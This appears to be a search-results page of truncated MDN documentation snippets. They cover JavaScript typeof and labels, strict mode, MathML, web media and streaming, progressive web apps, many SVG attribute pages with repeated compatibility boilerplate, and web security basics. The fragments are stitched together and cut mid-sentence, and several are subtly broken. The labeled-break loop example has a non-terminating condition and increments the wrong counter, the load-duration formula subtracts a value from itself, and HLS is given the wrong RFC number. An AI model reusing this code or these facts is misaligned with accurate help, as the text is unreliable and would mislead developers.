see also the javascript data structure page. type result undefined "undefined" null "object" (see below) boolean "boolean" number "number" bigint (new in ecmascript 2020) "bigint" string "string" symbol (new in ecmascript 2015) "symbol" function object (implements [[call]] in ecma-262 terms) "function" any other object "object" note: ecmascript 2019 and older permitted implementations to have typeof return any implementation-defined string value for non-callable non-standard exotic objects. the only known browser to have actually taken advantage of this is old internet explorer (see below). examples basic usage // numbers typeof 37 === 'number'; typeof 3.
...nctions typeof function() {} === 'function'; typeof class c {} === 'function'; typeof math.sin === 'function'; typeof null // this stands since the beginning of javascript typeof null === 'object'; in the first implementation of javascript, javascript values were represented as a type tag and a value. the type tag for objects was 0. null was represented as the null pointer (0x00 in most platforms). consequently, null had 0 as type tag, hence the "object" typeof return value. (reference) a fix was proposed for ecmascript (via an opt-in), but was rejected. it would have resulted in typeof null === 'null'. using new operator // all constructor functions, with the exception of the function constructor, will always be typeof 'object' let str = new string('string'); let num = new number(100)...
import.meta - JavaScript
l scripts, or the document base url of the containing document, for inline scripts. note that this will include query parameters and/or hash (i.e., following the ? or #). ...
... such file-specific argument passing may be complementary to that used in the applica...
label - JavaScript
oop2" if (i === 1 && j === 1) { continue loop1; } console.log('i = ' + i + ', j = ' + j); } } // output is: // "i = 0, j = 0" // "i = 0, j = 1" // "i = 0, j = 2" // "i = 1, j = 0" // "i = 2, j = 0" // "i = 2, j = 1" // "i = 2, j = 2" // notice how it skips both "i = 1, j = 1" and "i = 1, j = 2" using a labeled continue statement given an array of items and an array of tests, this example counts the number of items that passes all the tests. var itemspassed = 0; var i, j; top: for (i = 0; i < items.length; i++) { for (j = 0; j < tests.length; j++) { if (!tests[j].pass(items[i])) { continue top; } } itemspassed++; } using a labeled break with for loops var i, j; loop1: for (i = 0; i < 3; i++) { //the first for state...
... for (j = 0; j < 3; j++) { //the second for statement is labeled "loop2" if (i === 1 && j === 1) { break loop1; } console.log('i = ' + i + ', j = ' + j); } } // output is: // "i = 0, j = 0" // "i = 0, j = 1" // "i = 0, j = 2" // "i = 1, j = 0" // notice the difference with the previous continue example using a labeled break statement given an array of items and an array of tests, this example determines whether all items pass all tests. var allpass = true; var i, j; top: for (i = 0; items.length; i++) for (j = 0; j < tests.length; i++) if (!tests[j].pass(items[i])) { allpass = false; break top; } using a labeled block with break you can use labels within simple blocks, but only break statements can make use of non-loop labe...
Strict mode - JavaScript
rite "secure" javascript, and changes anticipating future ecmascript evolution. converting mistakes into errors strict mode changes some previously-accepted mistakes into errors. javascript was designed to be easy for novice developers, and sometimes it gives operations which should be errors non-error semantics. sometimes this fixes the immediate problem, but sometimes this creates worse problems in the future. strict mode treats these mistakes as errors so that they're discovered and promptly fixed. first, strict mode makes it impossible to accidentally create global variables. in normal javascript mistyping a variable in an assignment creates a new property on the global object and continues to "work" (although future failure is possible: likely, in modern javascript). assignments, whi...
...and errors in browsers which don't implement strict mode. exercise caution in using strict mode, and back up reliance on strict mode with feature tests that check whether relevant parts of strict mode are implemented. finally, make sure to test your code in browsers that do and don't support strict mode. if you test only in browsers that don't support strict mode, you're very likely to have problems in browsers that do, and vice versa. specifications specification ecmascript (ecma-262)the definition of 'strict mode code' in that specification. ...
<mi> - MathML
Web › MathML › Element › mi
attributes class, id, style provided for use with stylesheets. dir the text direction. possible values are either ltr (left to right) or rtl (right to left). href used to set a hyperlink to a specified uri. mathbackground the background color. you can use #rgb, #rrggbb and html color names. mathcolor the text color. you can use #rgb, #rrggbb and html color names. ...
.... mathcolor the text color. you can use #rgb, #rrggbb and html color names. mathsize the size of the content. see length for possible values. deprecated values are: small, normal and big. these will be removed in the future. mathvariant this logical class of the identifier, which varies in typography. that is, although the names suggest the typographic style for the class, semantically, items with the same class are treated "the same" within an expression, which might or might not involve displaying them with the named typography. the following values are allowed: normal (default value for more than one character) ; example bold ; example italic (default value for a single character) ; example bold-italic ; example double-struck ; example bold-fraktur ; example sc...
Media type and format guide: image, audio, and video content - Web media technologies
Web › Media › Formats
since nearly its beginning, the web has included support for some form of visual media presentation. originally, these capabilities were limited, and were expanded organically, with different browsers finding their own solutions to the problems around including still and video imagery on the web. the modern web has powerful features to support the presentation and manipulation of media, with several media-related apis supporting various types of content. generally, the media formats supported by a browser are entirely up to the browser's creators, which can complicate the work of a web developer. this guide provides an overview of the media file types, codecs, and algorithms that may comprise media used on the web. it also provides browser support information for various combinations of th...
...rowser support levels and restrictions. the "codecs" parameter in common media types when specifying the mime type describing a media format, you can provide details using the codecs parameter as part of the type string. this guide describes the format and possible values of the codecs parameter for the common media types. codecs used by webrtc webrtc doesn't use a container, but instead streams the encoded media itself from peer to peer using mediastreamtrack objects to represent each audio or video track. this guide discusses the codecs commonly used with webrtc. guides concepts digital audio concepts an introduction to how audio is converted into digital form and stored for use by computers. it explains basic concepts about how audio is sampled, as well as concepts such as sa...
Guide to streaming audio and video - Web media technologies
hile performing the streaming to bring out the best quality and performance possible. <<<...xxxxxx...>>> protocols in addition to the configuration of the server and the streaming code, there are sometimes special protocols which can be used to optimize performance. https live streaming https live streaming (hls) is a protocol developed by apple and supported by safari on all of their platforms. hls may also be supported in other environments, although in some cases this support is conditional. for example, because many web sites' mobile-specific content assume that mobile browsers support hls, firefox for android does as well, in order to avoid strange compatibility errors from occurring due to this assumption being incorrect. the desktop version of android, however, does not support ...
...e many web sites' mobile-specific content assume that mobile browsers support hls, firefox for android does as well, in order to avoid strange compatibility errors from occurring due to this assumption being incorrect. the desktop version of android, however, does not support hls. hls uses playlists to allow the user to not only select the media to stream, but also to choose among versions or forms of the same media. for example, hls lets the server stream a video with multiple audio streams which the user can choose from, in order to hear their own language. additionally, forms of the stream can be provided which are optimized for different network conditions. in this way, live streams can be made flexible and highly performant. as of mid-2017, hls has been standardized as rfc 8217. ...
Web media technologies
can be used to provide the media in different formats, sizes, or resolutions. accessible from javascript as htmlsourceelement objects. apis media capabilities api the media capabilities api lets you determine the encoding and decoding capabilities of the device your app or site is running on. this lets you make real-time decisions about what formats to use and when. media capture and streams api a reference for the api which makes it possible to stream, record, and manipulate media both locally and across a network. this includes using local cameras and microphones to capture video, audio, and still images. mediastream recording api the mediastream recording api lets you capture media streams to process or filter the data or record it to disk. web audio api the web audio api let...
...of content, best practices including how to provide fallbacks and how to prioritize media types, and also includes general browser support information for each media container and codec. streaming audio and video a guide which covers how to stream audio and video, as well as techniques and technologies you can take advantage of to ensure the best possible quality and/or performance of your streams. autoplay guide for media and web audio apis unexpected automatic playback of media or audio can be an unwelcome surprise to users. while autoplay serves a purpose, it should be used carefully. to give users control over this, many browsers now provide forms of autoplay blocking. this article is a guide to autoplay, with tips on when and how to use it and how to work with browsers to handle aut...
CSS and JavaScript animation performance - Web Performance
other hand, allow developers to make animations between a set of starting property values and a final set rather than between two states. css animations consist of two components: a style describing the css animation, and a set of key frames that indicate the start and end states of the animation's style, as well as possible intermediate points. see using css animations for more details. in terms of performance, there is no difference between implementing an animation with css transitions or animations. both of them are classified under the same css-based umbrella in this article. requestanimationframe the requestanimationframe() api provides an efficient way to make animations in javascript. the callback function of the method is called by the browser before the next repaint on each fr...
...nt styles in the main ui thread before each repaint event happens, which is almost the same as resampling element styles via a requestanimationframe() callback, also triggered before the next repaint. if both animations are made in the main ui thread, there is no difference performance-wise. in this section we'll walk you through a performance test, using firefox, to see what animation method seems better overall. enabling fps tools before going through the example, please enable fps tools first to see the current frame rate: in the url bar, enter about:config; click the i’ll be careful, i promise! button to enter the config screen. in the search bar, search for the layers.acceleration.draw-fps preference. double-click the entry to set the value to true. now you will be able...
Navigation and resource timings - Web Performance
navigation and resource loading process. while deprecated, they are supported in all browsers. performance timings the performancetiming api, a javascript api for measuring the loading performance of the requested page, is deprecated but supported in all browsers. it has been replaced with the performancenavigationtiming api. the performance timing api provided read only times, in milliseconds(ms), describing at what time each point in the page loading process was reached. as displayed in the image below, the navigation process goes from navigationstart, unloadeventstart, unloadeventend, redirectstart, redirectend, fetchstart, domainlookupstart, domainlookupend, connectstart , connectend, secureconnectionstart, requeststart, responsestart, responseend, domloading, dominteractive, domconte...
... the load event of the current document is completed, you can measure the duration of the load event. load = timing.loadeventend - timing.loadeventend domcontentloaded event the domcontentloaded event duration is measured by subtracting the time value immediately before the user agent fires the domcontentloaded event from the time value immediately after the event completes. keeping this at 50ms or faster helps ensure a responsive user interface. domcontentloaded = timing.domcontentloadedeventend - timing.domcontentloadedeventstart duration we are provided with the duration. the duration is the difference between the performancenavigationtiming.loadeventend and performanceentry.starttime properties. the performancenavigationtiming interface also provides information about what type o...
Add to Home screen - Progressive web apps (PWAs)
or each different use case. you could also decide to include different types of icons so devices can use the best one they are able to (e.g., chrome already supports the webp format). note that the type member in each icon's object specifies the icon's mimetype, so the browser can quickly read what type the icon is, and then ignore it and move to a different icon if it doesn't support it. in terms of how to design the icon, you should follow the same best practices you'd follow for any android icon (see the android icon design guidelines). link the html to the manifest to finish setting up your manifest, you need to reference it from the html of your application's home page: <link rel="manifest" href="manifest.webmanifest"> browsers that support a2hs will know where to look for your ma...
...ry files. the service worker is registered against the site with the final code block in the index.js file. we then cache all the site's assets using the cache api, and serve them from the cache instead of the network using the code in the sw.js file. a2hs on desktop while originally intended to improve user experience on mobile oses, there is movement to make pwas installable on desktop platforms too. note: at the time of writing, the functionality described below was only supported in newer versions of chrome — by default on windows, and behind the #enable-desktop-pwas flag on macos. adding an install button to make our pwa installable on desktop, we first added a button to our document to allow users to do the installation — this isn't made available automatically on desktop ap...
Introduction to progressive web apps - Progressive web apps (PWAs)
a fully-capable progressive web application should provide all of the following advantages to the user. discoverability the eventual aim is that web apps should have better representation in search engines, be easier to expose, catalog and rank, and have metadata usable by browsers to give them special capabilities. some of the capabilities have already been enabled on certain web-based platforms by proprietary technologies like open graph, which provides a format for specifying similar metadata in the html <head> block using <meta> tags. the relevant web standard here is the web app manifest, which defines features of an app such as name, icon, splash screen, and theme colors in a json-formatted manifest file. this is for use in contexts such as app listings and device home screens. in...
...experience to less capable browsers. we've been doing this for years with best practices such as progressive enhancement. by using progressive enhancement, pwas are cross-browser. this means developers should take into account the differences in implementation of some pwa features and technologies between different browser implementations. re-engageability one major advantage of native platforms is the ease with which users can be re-engaged by updates and new content, even when they aren't looking at the app or using their devices. modern web apps can now do this too, using new technologies such as service workers for controlling pages, the web push api for sending updates straight from server to app via a service worker, and the notifications api for generating system notifications to ...
Media - Progressive web apps (PWAs)
printing css has specific support for printing and for paged media in general. a @page rule can set the page margins. for double-sided printing, you can specify the margins separately for @page:left and @page:right. for print media, you normally use appropriate length units like inches (in) and points (pt = 1/72 inch), or centimeters (cm) and millimeters (mm). it is equally appropriate to use ems (em) to match the font size, and percentages (%). you can control how the content of the document breaks across page boundaries, by using the page-break-before, page-break-after and page-break-inside properties. example this rule sets the page margins to one inch on all four sides: @page {margin: 1in;} this rule ensures that every h1 element starts on a new page: h1 {page-break-before: al...
...ecently e:visited any e element that is a hyperlink to a url that the user has visited recently note: the information that can be obtained from the :visited selector is restricted in gecko 2.0. see privacy and the : visited selector for more details. the cursor property specifies the shape of the pointer: some of the common shapes are as follows. ...
alignment-baseline - SVG: Scalable Vector Graphics
ion initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... firefox ? ie ? opera ? safari ? webview android ? chrome android ? firefox android ? opera android ? safari ios ? samsung internet android ? legend compatibility unknown compatibility unknown ...
baseline-shift - SVG: Scalable Vector Graphics
ion initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... firefox ? ie ? opera ? safari ? webview android ? chrome android ? firefox android ? opera android ? safari ios ? samsung internet android ? legend compatibility unknown compatibility unknown ...
clip-path - SVG: Scalable Vector Graphics
perty clip-path reference page. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... candidate recommendation extends its application to html elements. t...
clip-rule - SVG: Scalable Vector Graphics
ment. graphical elements » browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... firefox ? ie ? opera ? safari ? webview android ? chrome android ? firefox android ? opera android ? safari ios ? samsung internet android ? legend compatibility unknown compatibility unknown ...
color-interpolation-filters - SVG: Scalable Vector Graphics
ion initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... firefox ? ie ? opera ? safari ? webview android ? chrome android ? firefox android ? opera android ? safari ios ? samsung internet android ? legend compatibility unknown compatibility unknown ...
color-interpolation - SVG: Scalable Vector Graphics
ion initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... firefox ? ie ? opera ? safari ? webview android ? chrome android ? firefox android ? opera android ? safari ios ? samsung internet android ? legend compatibility unknown compatibility unknown ...
color-profile - SVG: Scalable Vector Graphics
ion initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...not for use in new websites.deprecated. not for use in new websites. ...
color - SVG: Scalable Vector Graphics
Web › SVG › Attribute › color
ion initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... firefox ? ie ? opera ? safari ? webview android ? chrome android ? firefox android ? opera android ? safari ios ? samsung internet android ? legend compatibility unknown compatibility unknown ...
cursor - SVG: Scalable Vector Graphics
Web › SVG › Attribute › cursor
ments » graphics elements » browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... firefox ? ie ? opera ? safari ? webview android ? chrome android ? firefox android ? opera android ? safari ios ? samsung internet android ? legend compatibility unknown compatibility unknown ...
dominant-baseline - SVG: Scalable Vector Graphics
ion initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... firefox ? ie ? opera ? safari ? webview android ? chrome android ? firefox android ? opera android ? safari ios ? samsung internet android ? legend compatibility unknown compatibility unknown ...
fill-opacity - SVG: Scalable Vector Graphics
ith a value in the range [0-1]. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... candidate recommendation definition for shapes and texts ...
fill-rule - SVG: Scalable Vector Graphics
0,20 v50 h50 v-50 z"/> </svg> browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... candidate recommendation definition for shapes and text ...
fill - SVG: Scalable Vector Graphics
Web › SVG › Attribute › fill
tion for shapes and texts browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
filter - SVG: Scalable Vector Graphics
Web › SVG › Attribute › filter
ion initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... firefox ? ie ? opera ? safari ? webview android ? chrome android ? firefox android ? opera android ? safari ios ? samsung internet android ? legend compatibility unknown compatibility unknown ...
font-family - SVG: Scalable Vector Graphics
ion initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... firefox ? ie ? opera ? safari ? webview android ? chrome android ? firefox android ? opera android ? safari ios ? samsung internet android ? legend compatibility unknown compatibility unknown ...
font-style - SVG: Scalable Vector Graphics
ion initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... firefox ? ie ? opera ? safari ? webview android ? chrome android ? firefox android ? opera android ? safari ios ? samsung internet android ? legend compatibility unknown compatibility unknown ...
font-weight - SVG: Scalable Vector Graphics
ion initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... firefox ? ie ? opera ? safari ? webview android ? chrome android ? firefox android ? opera android ? safari ios ? samsung internet android ? legend compatibility unknown compatibility unknown ...
pointer-events - SVG: Scalable Vector Graphics
pointer-events documentation. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... candidate recommendation scalable vector graphic...
shape-rendering - SVG: Scalable Vector Graphics
ion initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... firefox ? ie ? opera ? safari ? webview android ? chrome android ? firefox android ? opera android ? safari ios ? samsung internet android ? legend compatibility unknown compatibility unknown ...
stemv - SVG: Scalable Vector Graphics
Web › SVG › Attribute › stemv
if this attribute is used, the units-per-em must also be used. ...
... if this attribute is used, the units-per-em must also be used. ...
stroke-dasharray - SVG: Scalable Vector Graphics
s equivalent to 5,3,2,5,3,2. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... candidate recommendation definition for shapes and texts...
stroke-dashoffset - SVG: Scalable Vector Graphics
entage of the current viewport. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... candidate recommendation definition for shapes and text...
stroke-linecap - SVG: Scalable Vector Graphics
"0.05" fill="pink" /> </svg> browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... candidate recommendation definition for shapes and texts ...
stroke-miterlimit - SVG: Scalable Vector Graphics
be greater than or equal to 1. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... candidate recommendation definition for shapes and text...
stroke-opacity - SVG: Scalable Vector Graphics
with the paint-order attribute. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... candidate recommendation definition for shapes and texts ...
stroke-width - SVG: Scalable Vector Graphics
alized viewbox diagonal length. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... candidate recommendation definition for shapes and texts ...
stroke - SVG: Scalable Vector Graphics
Web › SVG › Attribute › stroke
tion for shapes and texts browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
text-anchor - SVG: Scalable Vector Graphics
ion initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... firefox ? ie ? opera ? safari ? webview android ? chrome android ? firefox android ? opera android ? safari ios ? samsung internet android ? legend compatibility unknown compatibility unknown ...
text-rendering - SVG: Scalable Vector Graphics
ion initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... firefox ? ie ? opera ? safari ? webview android ? chrome android ? firefox android ? opera android ? safari ios ? samsung internet android ? legend compatibility unknown compatibility unknown ...
writing-mode - SVG: Scalable Vector Graphics
ion initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... firefox ? ie ? opera ? safari ? webview android ? chrome android ? firefox android ? opera android ? safari ios ? samsung internet android ? legend compatibility unknown compatibility unknown ...
Example - SVG: Scalable Vector Graphics
return [0,0]; var i; var sum_x=0, sum_y=0; for(i=0; i<motes.length; i++) { sum_x += motes[i].x; sum_y += motes[i].y; } return [sum_x/motes.length, sum_y/motes.length]; } // a nicer, integer random function rand(modulo) { return math.round( math.random() * (modulo-1)); } // class mote function mote() { // dimensions of drawing area. var dims = dimensions(); var width = dims[0], height = dims[1]; // choose a random coordinate to start at. this.x = rand( width ); this.y = rand( height ); // nil initial velocity. this.vx = this.vy = 0; // a visual element---initially none this.elt = null; } // turn this into a class. new mote(); // mote::applyforce() -- adjust velocity // towards the given position...
...) { var max = parseint( document.getelementbyid('max_velocity').value ); if( max < this.vx ) this.vx = max; else if( -max > this.vx ) this.vx = -max; if( max < this.vy ) this.vy = max; else if( -max > this.vy ) this.vy = -max; } // mote::capposition() -- apply an upper/lower limit // on mote position. mote.prototype.capposition = function() { var dims = dimensions(); if( this.x < 0 ) this.x = 0; else if( this.x >= dims[0] ) this.x = dims[0]-1; if( this.y < 0 ) this.y = 0; else if( this.y >= dims[1] ) this.y = dims[1]-1; } // mote::move() -- move a mote, update the screen. mote.prototype.move = function() { // apply attraction to cursor. var attract = parseint( document.getelementbyid('attract_cursor'...
SVG 2 support in Mozilla - SVG: Scalable Vector Graphics
...
...s controlling never-rendered elements implementation status unknown :focus and ::selection styles implementation status unknown geometry change notes x and y attributes removed from <pattern> and <filter> implementation status unknown auto value of width and height computes to 0 but 100% on <svg> not implemented coordinate systems, transformations and units change notes exception for bad values on svgmatrix.skewx() and svgmatrix.skewy() implementation status unknown bounding box for element with no position at (0, 0) implementation status unknown defer keyword removed from preserveaspectratio attribute removed (bug 1280425) added non-scaling-size, non-rotation a...
Basic Transformations - SVG: Scalable Vector Graphics
ordsys+f\left{ \begin{matrix} x_{\mathrm{prevcoordsys}} = a x_{\mathrm{newcoordsys}} + c y_{\mathrm{newcoordsys}} + e \\ y_{\mathrm{prevcoordsys}} = b x_{\mathrm{newcoordsys}} + d y_{\mathrm{newcoordsys}} + f \end{matrix} \right. see a concrete example on the svg transform documentation. detailed information about this property can be found in the svg recommendation. effects on coordinate systems when using transformations you establish a new coordinate system inside the element the transformations apply to. that means, the units you specify for the element and its children might not follow the 1:1 pixel mapping, but are also distorted, skewed, translated and scaled according to the transformation. <svg width="100" height="100"> <g transform="scale(2)"> <rect width="50" heig...
...transform="scale(2)"> <rect width="50" height="50" /> </g> </svg> the resulting rectangular in the above example will be 100x100px. the more intriguing effects arise, when you rely on attributes like userspaceonuse and the such. embedding svg in svg in contrast to html, svg allows you to embed other svg elements seamlessly. this way you can also simply create new coordinate systems by utilizing the viewbox, width and height of the inner svg element. <svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="100" height="100"> <svg width="100" height="100" viewbox="0 0 50 50"> <rect width="50" height="50" /> </svg> </svg> the example above has basically the same effect as the one above, namely that the rect will be twice as large as specified. « previou...
Getting started - SVG: Scalable Vector Graphics
hite">svg</text> </svg> copy the code and paste it in a file demo1.svg. then open the file in firefox. it will render as shown in the following screenshot. (firefox users: click here) the rendering process involves the following: we start with the <svg> root element: a doctype declaration as known from (x)html should be left off because dtd based svg validation leads to more problems than it solves before svg 2, to identify the version of the svg for other types of validation the version and baseprofile attributes should always be used instead. both version and baseprofile attributes are deprecated in svg 2. as an xml dialect, svg must always bind the namespaces correctly (in the xmlns attribute). see the namespaces crash course page for more info. the background ...
... vary: accept-encoding you can check that your server is sending the correct http headers with your svg files by using the network monitor panel or a site such as websniffer.cc. submit the url of one of your svg files and look at the http response headers. if you find that your server is not sending the headers with the values given above, then you should contact your web host. if you have problems convincing them to correctly configure their servers for svg, there may be ways to do it yourself. see the server configuration page on the w3.org for a range of simple solutions. server misconfiguration is a very common reason for svg failing to load, so make sure you check yours. if your server is not configured to send the correct headers with the svg files it serves, then firefox will most l...
Paths - SVG: Scalable Vector Graphics
Web › SVG › Tutorial › Paths
"200" xmlns="http://www.w3.org/2000/svg"> <path d="m10 10"/> <!-- points --> <circle cx="10" cy="10" r="2" fill="red"/> </svg> there are three commands that draw lines. the most generic is the "line to" command, called with l. l takes two parameters—x and y coordinates—and draws a line from the current position to a new position. l x y (or) l dx dy there are two abbreviated forms for drawing horizontal and vertical lines. h draws a horizontal line, and v draws a vertical line. both commands only take one parameter since they only move in one direction. h x (or) h dx v y (or) v dy an easy place to start is by drawing a shape. we will start with a rectangle (the same type that could be more easily made with a <rect> element). it's composed of horizontal and vertic...
...and, called with z. this command draws a straight line from the current position back to the first point of the path. it is often placed at the end of a path node, although not always. there is no difference between the uppercase and lowercase command. z (or) z so our path above could be shortened to: <path d="m 10 10 h 90 v 90 h 10 z" fill="transparent" stroke="black"/> the relative forms of these commands can also be used to draw the same picture. relative commands are called by using lowercase letters, and rather than moving the cursor to an exact coordinate, they move it relative to its last position. for instance, since our box is 80×80, the <path> element could have been written as: <path d="m 10 10 h 80 v 80 h -80 z" fill="transparent" stroke="black"/> the path will mov...
Patterns - SVG: Scalable Vector Graphics
Web › SVG › Tutorial › Patterns
ct you're applying the pattern to. since, in this case, we wanted the pattern to repeat 4 times horizontally and vertically, the height and width are set to 0.25. this means the pattern's width/height is only 0.25 of the total box size. unlike gradients, patterns have a second attribute, patterncontentunits, which describes the units system used inside the pattern element, on the basic shapes themselves. this attribute defaults to "userspaceonuse", the opposite of the patternunits attribute. what this means is that unless you specify one or both of these attributes (patterncontentunits and patternunits), the shapes you draw inside your pattern are being drawn in a different coordinate system than the pattern element is using, which can make things a bit confusing when you're writing this by...
...eem to have trouble drawing if their radius is set to something less than 0.075 (it is currently unknown whether this is a bug in the pattern element or not). to work around that it is probably best to avoid drawing in "objectboundingbox" units unless you have to. neither of these uses is what one would normally think of when you think of a pattern. patterns usually have a set size and repeat themselves independently of what an object's shape is. to create something like this, both the pattern and its contents must be drawn in the current userspace, so they don't change shape if the object does: <pattern id="pattern" x="10" y="10" width="50" height="50" patternunits="userspaceonuse"> <rect x="0" y="0" width="50" height="50" fill="skyblue"/> <rect x="0" y="0" width="25" height="25" f...
Tools for SVG - SVG: Scalable Vector Graphics
ctor drawing, and it's open source. moreover, it uses svg as its native file format. to store inkscape specific data, it extends the svg file with elements and attributes in a custom namespace, but you can also choose to export as plain svg. adobe illustrator url: www.adobe.com/products/illustrator/ before adobe acquired macromedia, it was the most prominent promoter of svg. from this time stems the good support of svg in illustrator. however, the resulting svg often shows some quirks, that make it necessary to post-process it for general applicability. apache batik url: xmlgraphics.apache.org/batik/ batik is a set of open source tools under the roof of the apache software foundation. the toolkit is written in java and offers almost complete svg 1.1 support, as well as some features t...
... « previous ...
Referer header: privacy and security concerns - Web security
ct that https sites will never transmit referer information to non-https sites. this is becoming less useful in this context now that most of the web is using https, but it is still a worthy consideration. in addition, you should consider removing any third party content (e.g. social networking widgets embedded in <iframe>) from secure areas of your website, like password reset pages, payment forms, login areas, etc. you can also mitigate such risks using: the referrer-policy header on your server to control what information is sent through the referer header. again, a directive of no-referrer would omit the referer header entirely. the referrerpolicy attribute on html elements that are in danger of leaking such information (such as <img> and <a>). this can for example be set to no-ref...
...his can for example be set to no-referrer to stop the referer header being sent altogether. the rel attribute set to noreferrer on html elements that are in danger of leaking such information (such as <img> and <a>). see link types and search for noreferrer for more information. the exit page technique. security-conscious server-side frameworks tend to have built in mitigations for such problems, for example: security in django (especially see cross site request forgery (csrf) protection). helmetjs referrer-policy — middleware for setting referrer-policy in node.js/express apps (see also helmetjs for more security provisions). policy and requirements it would make sense to write a set of security and privacy requirements for your project team(s) that specify usage of such featur...
Securing your site - Web security
ure algorithm (owasp) storing passwords in plain text can lead to attackers knowing and leaking the exact password of your site's users, potentially putting the users at risk. the same issues can arise if you use an old or insecure algorithm for hashing (such as md5). you should use a password-specific hashing algorithm (such as argon2, pbkdf2, scrypt or bcrypt) instead of message digest algorithms (such as md5 and sha). this article showcases best practices to use when storing passwords. content security properly configuring server mime types there are several ways incorrect mime types can cause potential security problems with your site. this article explains some of those and shows how to configure your server to serve files with the correct mime types. http strict transport secur...
...ion, you can use it to establish resources that other sites are expressly permitted to use. content security policy an added layer of security that helps to detect and mitigate certain types of attacks, including cross site scripting (xss) and data injection attacks. these attacks are used for everything from data theft to site defacement or distribution of malware. code is executed by the victims and lets the attackers bypass access controls and impersonate users. according to the open web application security project, xss was the seventh most common web app vulnerability in 2017. the x-frame-options response header the x-frame-options: http response header can be used to indicate whether or not a browser should be allowed to render a page in a <frame>. sites can use this to avoid cli...
Using shadow DOM - Web Components
pearing in a markup document (usually an html document in the case of web documents). ...
...ss the shadow dom using javascript written in the main page context, for example using the element.shadowroot property: let myshadowdom = mycustomelem.shadowroot; if you attach a shadow root to a custom element with mode: closed set, you won't be able to access the shadow dom from the outside — mycustomelem.shadowroot returns null. this is the case with built in elements that contain shadow doms, such as <video>. note: as this blog post shows, it is actually fairly easy to work around closed shadow doms, and the hassle to completely hide them is often more than it's worth. if you are attaching a shadow dom to a custom element as part of its constructor (by far the most useful application of the shadow dom), you would use something like this: let shadow = this.attachshadow({mode: 'op...
<xsl:number> - XSLT: Extensible Stylesheet Language Transformations
Web › XSLT › Element › number
attributes none. optional attributes count specifies what in the source tree should be numbered sequentially. it uses an xpath expression. level defines how levels of the source tree should be considered in generating sequential numbers. it has three valid values: single, multiple, and any. the default value is single: single numbers sibling nodes sequentially, as in the items in a list. the processor goes to the first node in the ancestor-or-self axis that matches the count attribute and then counts that node plus all its preceding siblings (stopping when it reaches a match to the from attribute, if there is one) that also match the count attribute.if no match is found, the sequence will be an empty list. multiple numbers nodes as a composite sequence t...
